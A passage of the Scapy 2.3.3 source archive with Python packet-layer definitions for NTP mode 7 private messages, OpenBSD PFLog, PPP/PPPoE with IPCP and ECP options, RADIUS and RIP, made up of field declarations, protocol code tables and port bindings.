getfield(self, pkt, s): lst = [] remain = s length = pkt.data_item_size if length > 0: item_counter = 0 # Response payloads can be placed in several packets while len(remain) >= pkt.data_item_size and item_counter < pkt.nb_items: current = remain[:length] remain = remain[length:] current_packet = self.m2i(pkt, current) lst.append(current_packet) item_counter += 1 return remain, lst class NTPPrivateReqPacket(Packet): """ Packet handling request data. """ name = "request data" fields_desc = [StrField("req_data", "")] _request_codes = { 0: "REQ_PEER_LIST", 1: "REQ_PEER_LIST_SUM", 2: "REQ_PEER_INFO", 3: "REQ_PEER_STATS", 4: "REQ_SYS_INFO", 5: "REQ_SYS_STATS", 6: "REQ_IO_STATS", 7: "REQ_MEM_STATS", 8: "REQ_LOOP_INFO", 9: "REQ_TIMER_STATS", 10: "REQ_CONFIG", 11: "REQ_UNCONFIG", 12: "REQ_SET_SYS_FLAG", 13: "REQ_CLR_SYS_FLAG", 14: "REQ_MONITOR", 15: "REQ_NOMONITOR", 16: "REQ_GET_RESTRICT", 17: "REQ_RESADDFLAGS", 18: "REQ_RESSUBFLAGS", 19: "REQ_UNRESTRICT", 20: "REQ_MON_GETLIST", 21: "REQ_RESET_STATS", 22: "REQ_RESET_PEER", 23: "REQ_REREAD_KEYS", 24: "REQ_DO_DIRTY_HACK", 25: "REQ_DONT_DIRTY_HACK", 26: "REQ_TRUSTKEY", 27: "REQ_UNTRUSTKEY", 28: "REQ_AUTHINFO", 29: "REQ_TRAPS", 30: "REQ_ADD_TRAP", 31: "REQ_CLR_TRAP", 32: "REQ_REQUEST_KEY", 33: "REQ_CONTROL_KEY", 34: "REQ_GET_CTLSTATS", 35: "REQ_GET_LEAPINFO", 36: "REQ_GET_CLOCKINFO", 37: "REQ_SET_CLKFUDGE", 38: "REQ_GET_KERNEL", 39: "REQ_GET_CLKBUGINFO", 41: "REQ_SET_PRECISION", 42: "REQ_MON_GETLIST_1", 43: "REQ_HOSTNAME_ASSOCID", 44: "REQ_IF_STATS", 45: "REQ_IF_RELOAD" } class NTPPrivateReqPacketListField(PacketListField): """ Handles specific request packets. """ # See ntpdc/ntpdc.c and ntpdc/ntpdc_ops.c def m2i(self, pkt, s): ret = None if pkt.request_code == 2 or pkt.request_code == 3: # REQ_PEER_INFO (see ntpdc/ntpdc_ops.c: showpeer()) # REQ_PEER_STATS (for request only) ret = NTPInfoPeerList(s) elif pkt.request_code == 10: # REQ_CONFIG ret = NTPConfPeer(s) elif pkt.request_code == 11: # REQ_CONFIG ret = NTPConfUnpeer(s) elif pkt.request_code == 17: # REQ_RESADDFLAGS ret = NTPConfRestrict(s) elif pkt.request_code == 18: # REQ_RESSUBFLAGS ret = NTPConfRestrict(s) elif pkt.request_code == 22: # REQ_RESET_PEER ret = NTPConfUnpeer(s) elif pkt.request_code == 30 or pkt.request_code == 31: # REQ_ADD_TRAP ret = NTPConfTrap(s) else: ret = NTPPrivateReqPacket(s) return ret def getfield(self, pkt, s): lst = [] remain = s length = pkt.data_item_size if length > 0: item_counter = 0 while len(remain) >= pkt.data_item_size * pkt.nb_items and item_counter < pkt.nb_items: current = remain[:length] remain = remain[length:] current_packet = self.m2i(pkt, current) lst.append(current_packet) item_counter += 1 # If "auth" bit is set, don't forget the padding bytes if pkt.auth: padding_end = len(remain) - _NTP_PRIVATE_REQ_PKT_TAIL_LEN current_packet = conf.raw_layer(remain[:padding_end]) lst.append(current_packet) remain = remain[padding_end:] return remain, lst class NTPPrivatePktTail(Packet): """ include/ntp_request.h The req_pkt_tail structure is used by ntpd to adjust for different packet sizes that may arrive. """ name = "req_pkt_tail" fields_desc = [ TimeStampField("tstamp", 0), IntField("key_id", 0), XStrFixedLenField( "dgst", "", length_from=lambda x: _NTP_AUTH_MD5_DGST_SIZE) ] class NTPPrivate(NTP): """ Packet handling the private (mode 7) messages. """ #________________________________________________________________________ # # ntpd source code: ntp_request.h #________________________________________________________________________ # # A mode 7 packet is used exchanging data between an NTP server # and a client for purposes other than time synchronization, e.g. # monitoring, statistics gathering and configuration. A mode 7 # packet has the following format: # # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # |R|M| VN | Mode|A| Sequence | Implementation| Req Code | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Err | Number of data items | MBZ | Size of data item | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # | Data (Minimum 0 octets, maximum 500 octets) | # | | # [...] | # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Encryption Keyid (when A bit set) | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # | Message Authentication Code (when A bit set) | # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # where the fields are (note that the client sends requests, the server # responses): # # Response Bit: This packet is a response (if clear, packet is a request). # # More Bit: Set for all packets but the last in a response which # requires more than one packet. # # Version Number: 2 for current version # # Mode: Always 7 # # Authenticated bit: If set, this packet is authenticated. # # Sequence number: For a multipacket response, contains the sequence # number of this packet. 0 is the first in the sequence, # 127 (or less) is the last. The More Bit must be set in # all packets but the last. # # Implementation number: The number of the implementation this request code # is defined by. An implementation number of zero is used # for requst codes/data formats which all implementations # agree on. Implementation number 255 is reserved (for # extensions, in case we run out). # # Request code: An implementation-specific code which specifies the # operation to be (which has been) performed and/or the # format and semantics of the data included in the packet. # # Err: Must be 0 for a request. For a response, holds an error # code relating to the request. If nonzero, the operation # requested wasn"t performed. # # 0 - no error # 1 - incompatible implementation number # 2 - unimplemented request code # 3 - format error (wrong data items, data size, packet size etc.) # 4 - no data available (e.g. request for details on unknown peer) # 5-6 I don"t know # 7 - authentication failure (i.e. permission denied) # # Number of data items: number of data items in packet. 0 to 500 # # MBZ: A reserved data field, must be zero in requests and responses. # # Size of data item: size of each data item in packet. 0 to 500 # # Data: Variable sized area containing request/response data. For # requests and responses the size in octets must be greater # than or equal to the product of the number of data items # and the size of a data item. For requests the data area # must be exactly 40 octets in length. For responses the # data area may be any length between 0 and 500 octets # inclusive. # # Message Authentication Code: Same as NTP spec, in definition and function. # May optionally be included in requests which require # authentication, is never included in responses. # # The version number, mode and keyid have the same function and are # in the same location as a standard NTP packet. The request packet # is the same size as a standard NTP packet to ease receive buffer # management, and to allow the same encryption procedure to be used # both on mode 7 and standard NTP packets. The mac is included when # it is required that a request be authenticated, the keyid should be # zero in requests in which the mac is not included. # # The data format depends on the implementation number/request code pair # and whether the packet is a request or a response. The only requirement # is that data items start in the octet immediately following the size # word and that data items be concatenated without padding between (i.e. # if the data area is larger than data_items*size, all padding is at # the end). Padding is ignored, other than for encryption purposes. # Implementations using encryption might want to include a time stamp # or other data in the request packet padding. The key used for requests # is implementation defined, but key 15 is suggested as a default. #________________________________________________________________________ # name = "Private (mode 7)" fields_desc = [ BitField("response", 0, 1), BitField("more", 0, 1), BitField("version", 2, 3), BitField("mode", 0, 3), BitField("auth", 0, 1), BitField("seq", 0, 7), ByteEnumField("implementation", 0, _implementations), ByteEnumField("request_code", 0, _request_codes), BitEnumField("err", 0, 4, _ntpd_private_errors), BitField("nb_items", 0, 12), BitField("mbz", 0, 4), BitField("data_item_size", 0, 12), ConditionalField( NTPPrivateReqPacketListField( "req_data", [], Packet, length_from=lambda p: p.data_item_size, count_from=lambda p: p.nb_items ), lambda p: p.response == 0 ), # Responses ConditionalField( NTPPrivateRespPacketListField( "data", [], Packet, length_from=lambda p: p.data_item_size, count_from=lambda p: p.nb_items ), lambda p: p.response == 1 ), # Responses are not supposed to be authenticated ConditionalField(PacketField("authenticator", "", NTPPrivatePktTail), lambda p: p.response == 0 and p.auth == 1), ] ############################################################################## ##### Layer bindings ############################################################################## bind_layers(UDP, NTP, {"sport": 123}) bind_layers(UDP, NTP, {"dport": 123}) bind_layers(UDP, NTP, {"sport": 123, "dport": 123}) scapy-2.3.3/scapy/layers/pflog.py000066400000000000000000000055501300136037300167360ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ PFLog: OpenBSD PF packet filter logging. """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import IP if conf.ipv6_enabled: from scapy.layers.inet6 import IPv6 from scapy.config import conf class PFLog(Packet): name = "PFLog" # from OpenBSD src/sys/net/pfvar.h and src/sys/net/if_pflog.h fields_desc = [ ByteField("hdrlen", 0), ByteEnumField("addrfamily", 2, {socket.AF_INET: "IPv4", socket.AF_INET6: "IPv6"}), ByteEnumField("action", 1, {0: "pass", 1: "drop", 2: "scrub", 3: "no-scrub", 4: "nat", 5: "no-nat", 6: "binat", 7: "no-binat", 8: "rdr", 9: "no-rdr", 10: "syn-proxy-drop" }), ByteEnumField("reason", 0, {0: "match", 1: "bad-offset", 2: "fragment", 3: "short", 4: "normalize", 5: "memory", 6: "bad-timestamp", 7: "congestion", 8: "ip-options", 9: "proto-cksum", 10: "state-mismatch", 11: "state-insert", 12: "state-limit", 13: "src-limit", 14: "syn-proxy" }), StrFixedLenField("iface", "", 16), StrFixedLenField("ruleset", "", 16), SignedIntField("rulenumber", 0), SignedIntField("subrulenumber", 0), SignedIntField("uid", 0), IntField("pid", 0), SignedIntField("ruleuid", 0), IntField("rulepid", 0), ByteEnumField("direction", 255, {0: "inout", 1: "in", 2:"out", 255: "unknown"}), StrFixedLenField("pad", "\x00\x00\x00", 3 ) ] def mysummary(self): return self.sprintf("%PFLog.addrfamily% %PFLog.action% on %PFLog.iface% by rule %PFLog.rulenumber%") bind_layers(PFLog, IP, addrfamily=socket.AF_INET) if conf.ipv6_enabled: bind_layers(PFLog, IPv6, addrfamily=socket.AF_INET6) conf.l2types.register(117, PFLog) scapy-2.3.3/scapy/layers/ppp.py000066400000000000000000000406231300136037300164260ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ PPP (Point to Point Protocol) [RFC 1661] """ import struct from scapy.packet import Packet, bind_layers from scapy.layers.l2 import Ether, CookedLinux from scapy.layers.inet import IP from scapy.layers.inet6 import IPv6 from scapy.fields import BitField, ByteEnumField, ByteField, \ ConditionalField, FieldLenField, IPField, PacketListField, \ ShortEnumField, ShortField, StrFixedLenField, StrLenField, XByteField, \ XShortField class PPPoE(Packet): name = "PPP over Ethernet" fields_desc = [ BitField("version", 1, 4), BitField("type", 1, 4), ByteEnumField("code", 0, {0:"Session"}), XShortField("sessionid", 0x0), ShortField("len", None) ] def post_build(self, p, pay): p += pay if self.len is None: l = len(p)-6 p = p[:4]+struct.pack("!H", l)+p[6:] return p class PPPoED(PPPoE): name = "PPP over Ethernet Discovery" fields_desc = [ BitField("version", 1, 4), BitField("type", 1, 4), ByteEnumField("code", 0x09, {0x09:"PADI",0x07:"PADO",0x19:"PADR",0x65:"PADS",0xa7:"PADT"}), XShortField("sessionid", 0x0), ShortField("len", None) ] _PPP_proto = { 0x0001: "Padding Protocol", 0x0003: "ROHC small-CID [RFC3095]", 0x0005: "ROHC large-CID [RFC3095]", 0x0021: "Internet Protocol version 4", 0x0023: "OSI Network Layer", 0x0025: "Xerox NS IDP", 0x0027: "DECnet Phase IV", 0x0029: "Appletalk", 0x002b: "Novell IPX", 0x002d: "Van Jacobson Compressed TCP/IP", 0x002f: "Van Jacobson Uncompressed TCP/IP", 0x0031: "Bridging PDU", 0x0033: "Stream Protocol (ST-II)", 0x0035: "Banyan Vines", 0x0037: "reserved (until 1993) [Typo in RFC1172]", 0x0039: "AppleTalk EDDP", 0x003b: "AppleTalk SmartBuffered", 0x003d: "Multi-Link [RFC1717]", 0x003f: "NETBIOS Framing", 0x0041: "Cisco Systems", 0x0043: "Ascom Timeplex", 0x0045: "Fujitsu Link Backup and Load Balancing (LBLB)", 0x0047: "DCA Remote Lan", 0x0049: "Serial Data Transport Protocol (PPP-SDTP)", 0x004b: "SNA over 802.2", 0x004d: "SNA", 0x004f: "IPv6 Header Compression", 0x0051: "KNX Bridging Data [ianp]", 0x0053: "Encryption [Meyer]", 0x0055: "Individual Link Encryption [Meyer]", 0x0057: "Internet Protocol version 6 [Hinden]", 0x0059: "PPP Muxing [RFC3153]", 0x005b: "Vendor-Specific Network Protocol (VSNP) [RFC3772]", 0x0061: "RTP IPHC Full Header [RFC3544]", 0x0063: "RTP IPHC Compressed TCP [RFC3544]", 0x0065: "RTP IPHC Compressed Non TCP [RFC3544]", 0x0067: "RTP IPHC Compressed UDP 8 [RFC3544]", 0x0069: "RTP IPHC Compressed RTP 8 [RFC3544]", 0x006f: "Stampede Bridging", 0x0071: "Reserved [Fox]", 0x0073: "MP+ Protocol [Smith]", 0x007d: "reserved (Control Escape) [RFC1661]", 0x007f: "reserved (compression inefficient [RFC1662]", 0x0081: "Reserved Until 20-Oct-2000 [IANA]", 0x0083: "Reserved Until 20-Oct-2000 [IANA]", 0x00c1: "NTCITS IPI [Ungar]", 0x00cf: "reserved (PPP NLID)", 0x00fb: "single link compression in multilink [RFC1962]", 0x00fd: "compressed datagram [RFC1962]", 0x00ff: "reserved (compression inefficient)", 0x0201: "802.1d Hello Packets", 0x0203: "IBM Source Routing BPDU", 0x0205: "DEC LANBridge100 Spanning Tree", 0x0207: "Cisco Discovery Protocol [Sastry]", 0x0209: "Netcs Twin Routing [Korfmacher]", 0x020b: "STP - Scheduled Transfer Protocol [Segal]", 0x020d: "EDP - Extreme Discovery Protocol [Grosser]", 0x0211: "Optical Supervisory Channel Protocol (OSCP)[Prasad]", 0x0213: "Optical Supervisory Channel Protocol (OSCP)[Prasad]", 0x0231: "Luxcom", 0x0233: "Sigma Network Systems", 0x0235: "Apple Client Server Protocol [Ridenour]", 0x0281: "MPLS Unicast [RFC3032] ", 0x0283: "MPLS Multicast [RFC3032]", 0x0285: "IEEE p1284.4 standard - data packets [Batchelder]", 0x0287: "ETSI TETRA Network Protocol Type 1 [Nieminen]", 0x0289: "Multichannel Flow Treatment Protocol [McCann]", 0x2063: "RTP IPHC Compressed TCP No Delta [RFC3544]", 0x2065: "RTP IPHC Context State [RFC3544]", 0x2067: "RTP IPHC Compressed UDP 16 [RFC3544]", 0x2069: "RTP IPHC Compressed RTP 16 [RFC3544]", 0x4001: "Cray Communications Control Protocol [Stage]", 0x4003: "CDPD Mobile Network Registration Protocol [Quick]", 0x4005: "Expand accelerator protocol [Rachmani]", 0x4007: "ODSICP NCP [Arvind]", 0x4009: "DOCSIS DLL [Gaedtke]", 0x400B: "Cetacean Network Detection Protocol [Siller]", 0x4021: "Stacker LZS [Simpson]", 0x4023: "RefTek Protocol [Banfill]", 0x4025: "Fibre Channel [Rajagopal]", 0x4027: "EMIT Protocols [Eastham]", 0x405b: "Vendor-Specific Protocol (VSP) [RFC3772]", 0x8021: "Internet Protocol Control Protocol", 0x8023: "OSI Network Layer Control Protocol", 0x8025: "Xerox NS IDP Control Protocol", 0x8027: "DECnet Phase IV Control Protocol", 0x8029: "Appletalk Control Protocol", 0x802b: "Novell IPX Control Protocol", 0x802d: "reserved", 0x802f: "reserved", 0x8031: "Bridging NCP", 0x8033: "Stream Protocol Control Protocol", 0x8035: "Banyan Vines Control Protocol", 0x8037: "reserved (until 1993)", 0x8039: "reserved", 0x803b: "reserved", 0x803d: "Multi-Link Control Protocol", 0x803f: "NETBIOS Framing Control Protocol", 0x8041: "Cisco Systems Control Protocol", 0x8043: "Ascom Timeplex", 0x8045: "Fujitsu LBLB Control Protocol", 0x8047: "DCA Remote Lan Network Control Protocol (RLNCP)", 0x8049: "Serial Data Control Protocol (PPP-SDCP)", 0x804b: "SNA over 802.2 Control Protocol", 0x804d: "SNA Control Protocol", 0x804f: "IP6 Header Compression Control Protocol", 0x8051: "KNX Bridging Control Protocol [ianp]", 0x8053: "Encryption Control Protocol [Meyer]", 0x8055: "Individual Link Encryption Control Protocol [Meyer]", 0x8057: "IPv6 Control Protovol [Hinden]", 0x8059: "PPP Muxing Control Protocol [RFC3153]", 0x805b: "Vendor-Specific Network Control Protocol (VSNCP) [RFC3772]", 0x806f: "Stampede Bridging Control Protocol", 0x8073: "MP+ Control Protocol [Smith]", 0x8071: "Reserved [Fox]", 0x807d: "Not Used - reserved [RFC1661]", 0x8081: "Reserved Until 20-Oct-2000 [IANA]", 0x8083: "Reserved Until 20-Oct-2000 [IANA]", 0x80c1: "NTCITS IPI Control Protocol [Ungar]", 0x80cf: "Not Used - reserved [RFC1661]", 0x80fb: "single link compression in multilink control [RFC1962]", 0x80fd: "Compression Control Protocol [RFC1962]", 0x80ff: "Not Used - reserved [RFC1661]", 0x8207: "Cisco Discovery Protocol Control [Sastry]", 0x8209: "Netcs Twin Routing [Korfmacher]", 0x820b: "STP - Control Protocol [Segal]", 0x820d: "EDPCP - Extreme Discovery Protocol Ctrl Prtcl [Grosser]", 0x8235: "Apple Client Server Protocol Control [Ridenour]", 0x8281: "MPLSCP [RFC3032]", 0x8285: "IEEE p1284.4 standard - Protocol Control [Batchelder]", 0x8287: "ETSI TETRA TNP1 Control Protocol [Nieminen]", 0x8289: "Multichannel Flow Treatment Protocol [McCann]", 0xc021: "Link Control Protocol", 0xc023: "Password Authentication Protocol", 0xc025: "Link Quality Report", 0xc027: "Shiva Password Authentication Protocol", 0xc029: "CallBack Control Protocol (CBCP)", 0xc02b: "BACP Bandwidth Allocation Control Protocol [RFC2125]", 0xc02d: "BAP [RFC2125]", 0xc05b: "Vendor-Specific Authentication Protocol (VSAP) [RFC3772]", 0xc081: "Container Control Protocol [KEN]", 0xc223: "Challenge Handshake Authentication Protocol", 0xc225: "RSA Authentication Protocol [Narayana]", 0xc227: "Extensible Authentication Protocol [RFC2284]", 0xc229: "Mitsubishi Security Info Exch Ptcl (SIEP) [Seno]", 0xc26f: "Stampede Bridging Authorization Protocol", 0xc281: "Proprietary Authentication Protocol [KEN]", 0xc283: "Proprietary Authentication Protocol [Tackabury]", 0xc481: "Proprietary Node ID Authentication Protocol [KEN]"} class HDLC(Packet): fields_desc = [ XByteField("address",0xff), XByteField("control",0x03) ] class PPP(Packet): name = "PPP Link Layer" fields_desc = [ ShortEnumField("proto", 0x0021, _PPP_proto) ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and _pkt[0] == '\xff': cls = HDLC return cls _PPP_conftypes = { 1:"Configure-Request", 2:"Configure-Ack", 3:"Configure-Nak", 4:"Configure-Reject", 5:"Terminate-Request", 6:"Terminate-Ack", 7:"Code-Reject", 8:"Protocol-Reject", 9:"Echo-Request", 10:"Echo-Reply", 11:"Discard-Request", 14:"Reset-Request", 15:"Reset-Ack", } ### PPP IPCP stuff (RFC 1332) # All IPCP options are defined below (names and associated classes) _PPP_ipcpopttypes = { 1:"IP-Addresses (Deprecated)", 2:"IP-Compression-Protocol", 3:"IP-Address", 4:"Mobile-IPv4", # not implemented, present for completeness 129:"Primary-DNS-Address", 130:"Primary-NBNS-Address", 131:"Secondary-DNS-Address", 132:"Secondary-NBNS-Address"} class PPP_IPCP_Option(Packet): name = "PPP IPCP Option" fields_desc = [ ByteEnumField("type" , None , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), StrLenField("data", "", length_from=lambda p:max(0,p.len-2)) ] def extract_padding(self, pay): return "",pay registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = ord(_pkt[0]) return cls.registered_options.get(o, cls) return cls class PPP_IPCP_Option_IPAddress(PPP_IPCP_Option): name = "PPP IPCP Option: IP Address" fields_desc = [ ByteEnumField("type" , 3 , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), IPField("data","0.0.0.0"), ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ] class PPP_IPCP_Option_DNS1(PPP_IPCP_Option): name = "PPP IPCP Option: DNS1 Address" fields_desc = [ ByteEnumField("type" , 129 , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), IPField("data","0.0.0.0"), ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ] class PPP_IPCP_Option_DNS2(PPP_IPCP_Option): name = "PPP IPCP Option: DNS2 Address" fields_desc = [ ByteEnumField("type" , 131 , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), IPField("data","0.0.0.0"), ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ] class PPP_IPCP_Option_NBNS1(PPP_IPCP_Option): name = "PPP IPCP Option: NBNS1 Address" fields_desc = [ ByteEnumField("type" , 130 , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), IPField("data","0.0.0.0"), ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ] class PPP_IPCP_Option_NBNS2(PPP_IPCP_Option): name = "PPP IPCP Option: NBNS2 Address" fields_desc = [ ByteEnumField("type" , 132 , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), IPField("data","0.0.0.0"), ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ] class PPP_IPCP(Packet): fields_desc = [ ByteEnumField("code" , 1, _PPP_conftypes), XByteField("id", 0 ), FieldLenField("len" , None, fmt="H", length_of="options", adjust=lambda p,x:x+4 ), PacketListField("options", [], PPP_IPCP_Option, length_from=lambda p:p.len-4,) ] ### ECP _PPP_ecpopttypes = { 0:"OUI", 1:"DESE", } class PPP_ECP_Option(Packet): name = "PPP ECP Option" fields_desc = [ ByteEnumField("type" , None , _PPP_ecpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), StrLenField("data", "", length_from=lambda p:max(0,p.len-2)) ] def extract_padding(self, pay): return "",pay registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = ord(_pkt[0]) return cls.registered_options.get(o, cls) return cls class PPP_ECP_Option_OUI(PPP_ECP_Option): fields_desc = [ ByteEnumField("type" , 0 , _PPP_ecpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+6), StrFixedLenField("oui","",3), ByteField("subtype",0), StrLenField("data", "", length_from=lambda p:p.len-6) ] class PPP_ECP(Packet): fields_desc = [ ByteEnumField("code" , 1, _PPP_conftypes), XByteField("id", 0 ), FieldLenField("len" , None, fmt="H", length_of="options", adjust=lambda p,x:x+4 ), PacketListField("options", [], PPP_ECP_Option, length_from=lambda p:p.len-4,) ] bind_layers( Ether, PPPoED, type=0x8863) bind_layers( Ether, PPPoE, type=0x8864) bind_layers( CookedLinux, PPPoED, proto=0x8863) bind_layers( CookedLinux, PPPoE, proto=0x8864) bind_layers( PPPoE, PPP, code=0) bind_layers( HDLC, PPP, ) bind_layers( PPP, IP, proto=0x0021) bind_layers( PPP, IPv6, proto=0x0057) bind_layers( PPP, PPP_IPCP, proto=0x8021) bind_layers( PPP, PPP_ECP, proto=0x8053) bind_layers( Ether, PPP_IPCP, type=0x8021) bind_layers( Ether, PPP_ECP, type=0x8053) scapy-2.3.3/scapy/layers/radius.py000066400000000000000000000165251300136037300171220ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## Vincent Mauge ## This program is published under a GPLv2 license """ RADIUS (Remote Authentication Dial In User Service) """ import struct from scapy.packet import * from scapy.fields import * from scapy.layers.inet import * class RadiusAttribute(Packet): name = "Radius Attribute" fields_desc = [ ByteEnumField("type",1,{ 1:"User-Name", 2:"User-Password", 3:"CHAP-Password", 4:"NAS-IP-Address", 5:"NAS-Port", 6:"Service-Type", 7:"Framed-Protocol", 8:"Framed-IP-Address", 9:"Framed-IP-Netmask", 10:"Framed-Routing", 11:"Filter-Id", 12:"Framed-MTU", 13:"Framed-Compression", 14:"Login-IP-Host", 15:"Login-Service", 16:"Login-TCP-Port", 17:"(unassigned)", 18:"Reply-Message", 19:"Callback-Number", 20:"Callback-Id", 21:"(unassigned)", 22:"Framed-Route", 23:"Framed-IPX-Network", 24:"State", 25:"Class", 26:"Vendor-Specific", 27:"Session-Timeout", 28:"Idle-Timeout", 29:"Termination-Action", 30:"Called-Station-Id", 31:"Calling-Station-Id", 32:"NAS-Identifier", 33:"Proxy-State", 34:"Login-LAT-Service", 35:"Login-LAT-Node", 36:"Login-LAT-Group", 37:"Framed-AppleTalk-Link", 38:"Framed-AppleTalk-Network", 39:"Framed-AppleTalk-Zone", 40:"Acct-Status-Type", 41:"Acct-Delay-Time", 42:"Acct-Input-Octets", 43:"Acct-Output-Octets", 44:"Acct-Session-Id", 45:"Acct-Authentic", 46:"Acct-Session-Time", 47:"Acct-Input-Packets", 48:"Acct-Output-Packets", 49:"Acct-Terminate-Cause", 50:"Acct-Multi-Session-Id", 51:"Acct-Link-Count", 60:"CHAP-Challenge", 61:"NAS-Port-Type", 62:"Port-Limit", 63:"Login-LAT-Port", 70:"ARAP-Password", 75:"Password-Retry", 79:"EAP-Message", 80:"Message-Authenticator", 94:"Originating-Line-Info", 101:"Error-Cause" }), FieldLenField("len",None,"value","B", adjust=lambda pkt,x:x+2), StrLenField("value",None,length_from= lambda pkt:pkt.len-2),] def post_build(self, p, pay): l = self.len if l is None: l = len(p) p = p[:2]+struct.pack("!B",l)+p[4:] return p def extract_padding(self, pay): return "",pay class Radius(Packet): name = "Radius" fields_desc = [ ByteEnumField("code", 1, {1: "Access-Request", 2: "Access-Accept", 3: "Access-Reject", 4: "Accounting-Request", 5: "Accounting-Accept", 6: "Accounting-Status", 7: "Password-Request", 8: "Password-Ack", 9: "Password-Reject", 10: "Accounting-Message", 11: "Access-Challenge", 12: "Status-Server", 13: "Status-Client", 21: "Resource-Free-Request", 22: "Resource-Free-Response", 23: "Resource-Query-Request", 24: "Resource-Query-Response", 25: "Alternate-Resource-Reclaim-Request", 26: "NAS-Reboot-Request", 27: "NAS-Reboot-Response", 29: "Next-Passcode", 30: "New-Pin", 31: "Terminate-Session", 32: "Password-Expired", 33: "Event-Request", 34: "Event-Response", 40: "Disconnect-Request", 41: "Disconnect-ACK", 42: "Disconnect-NAK", 43: "CoA-Request", 44: "CoA-ACK", 45: "CoA-NAK", 50: "IP-Address-Allocate", 51: "IP-Address-Release", 253: "Experimental-use", 254: "Reserved", 255: "Reserved"} ), ByteField("id", 0), FieldLenField("len", None, "attributes", "H" , adjust= lambda pkt,x:len(x.value_pair)+20), StrFixedLenField("authenticator","",16), PacketListField("attributes", [], RadiusAttribute, length_from=lambda pkt:pkt.len-20) ] def post_build(self, p, pay): p += pay l = self.len if l is None: l = len(p) p = p[:2]+struct.pack("!H",l)+p[4:] return p bind_layers(UDP, Radius, sport=1812) bind_layers(UDP, Radius, dport=1812) bind_layers(UDP, Radius, sport=1813) bind_layers(UDP, Radius, dport=1813) scapy-2.3.3/scapy/layers/rip.py000066400000000000000000000053171300136037300164220ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ RIP (Routing Information Protocol). """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP class RIP(Packet): name = "RIP header" fields_desc = [ ByteEnumField("cmd", 1, {1:"req", 2:"resp", 3:"traceOn", 4:"traceOff", 5:"sun", 6:"trigReq", 7:"trigResp", 8:"trigAck", 9:"updateReq", 10:"updateResp", 11:"updateAck"}), ByteField("version", 1), ShortField("null", 0), ] def guess_payload_class(self, payload): if payload[:2] == "\xff\xff": return RIPAuth else: return Packet.guess_payload_class(self, payload) class RIPEntry(RIP): name = "RIP entry" fields_desc = [ ShortEnumField("AF", 2, {2:"IP"}), ShortField("RouteTag", 0), IPField("addr", "0.0.0.0"), IPField("mask", "0.0.0.0"), IPField("nextHop", "0.0.0.0"), IntEnumField("metric", 1, {16:"Unreach"}), ] class RIPAuth(Packet): name = "RIP authentication" fields_desc = [ ShortEnumField("AF", 0xffff, {0xffff:"Auth"}), ShortEnumField("authtype", 2, {1:"md5authdata", 2:"simple", 3:"md5"}), ConditionalField(StrFixedLenField("password", None, 16), lambda pkt: pkt.authtype == 2), ConditionalField(ShortField("digestoffset", 0), lambda pkt: pkt.authtype == 3), ConditionalField(ByteField("keyid", 0), lambda pkt: pkt.authtype == 3), ConditionalField(ByteField("authdatalen", 0), lambda pkt: pkt.authtype == 3), ConditionalField(IntField("seqnum", 0), lambda pkt: pkt.authtype == 3), ConditionalField(StrFixedLenField("zeropad", None, 8), lambda pkt: pkt.authtype == 3), ConditionalField(StrLenField("authdata", None, length_from=lambda pkt: pkt.md5datalen), lambda pkt: pkt.authtype == 1) ] def pre_dissect(self, s): if s[2:4] == "\x00\x01": self.md5datalen = len(s) - 4 return s bind_layers( UDP, RIP, sport=520) bind_layers( UDP, RIP, dport=520) bind_layers( RIP, RIPEntry, ) bind_layers( RIPEntry, 